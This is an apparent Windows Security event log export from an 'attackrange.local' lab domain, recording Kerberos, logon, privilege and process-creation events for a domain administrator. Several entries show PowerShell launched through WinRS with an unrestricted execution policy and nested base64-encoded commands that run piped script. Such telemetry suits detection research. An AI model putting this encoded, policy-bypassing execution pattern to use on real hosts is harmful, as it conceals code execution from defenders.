JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252763 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1730C1 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252762 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1730C1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {4C853174-D52F-386E-E216-867E0AFCFDC0} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252761 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {4C853174-D52F-386E-E216-867E0AFCFDC0} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252760 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {4C853174-D52F-386E-E216-867E0AFCFDC0} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252759 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252758 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x172333 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x132c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1208 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252757 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x172333 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1208 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x330 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252756 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x172A45 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252755 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x172A45 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {4C853174-D52F-386E-E216-867E0AFCFDC0} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252754 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {4C853174-D52F-386E-E216-867E0AFCFDC0} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=252753 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {4C853174-D52F-386E-E216-867E0AFCFDC0} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=252752 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252751 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x172333 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x60 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x330 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252750 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x172333 - -Process Information: - New Process ID: 0x330 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:19 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252749 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x172333 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - 